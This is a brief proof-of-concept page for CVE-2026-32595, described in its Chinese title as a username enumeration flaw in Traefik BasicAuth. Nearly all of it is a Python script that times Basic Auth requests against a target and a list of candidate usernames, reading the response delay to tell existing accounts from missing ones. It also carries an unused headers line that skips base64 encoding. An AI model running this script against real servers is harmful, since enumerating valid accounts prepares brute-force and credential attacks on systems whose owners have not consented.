CVE-2026-32595 Traefik BasicAuth用户名枚举漏洞

import requests import time def check_username_timing(url, username, password): """ Checks if a username exists based on response timing. Valid username: ~166ms (bcrypt check) Invalid username: ~0.6ms (immediate return) """ headers = { "Authorization": f"Basic {username}:{password}" # Simplified, needs base64 in real usage or use requests.auth } # Using requests.auth for proper encoding auth = (username, password) start = time.time() try: response = requests.get(url, auth=auth, timeout=5) duration = time.time() - start return duration except Exception as e: return -1 # Example usage target = "http://localhost:8080" users = ["admin", "root", "test"] for u in users: t = check_username_timing(target, u, "testpass") print(f"User: {u}, Time: {t:.4f}s")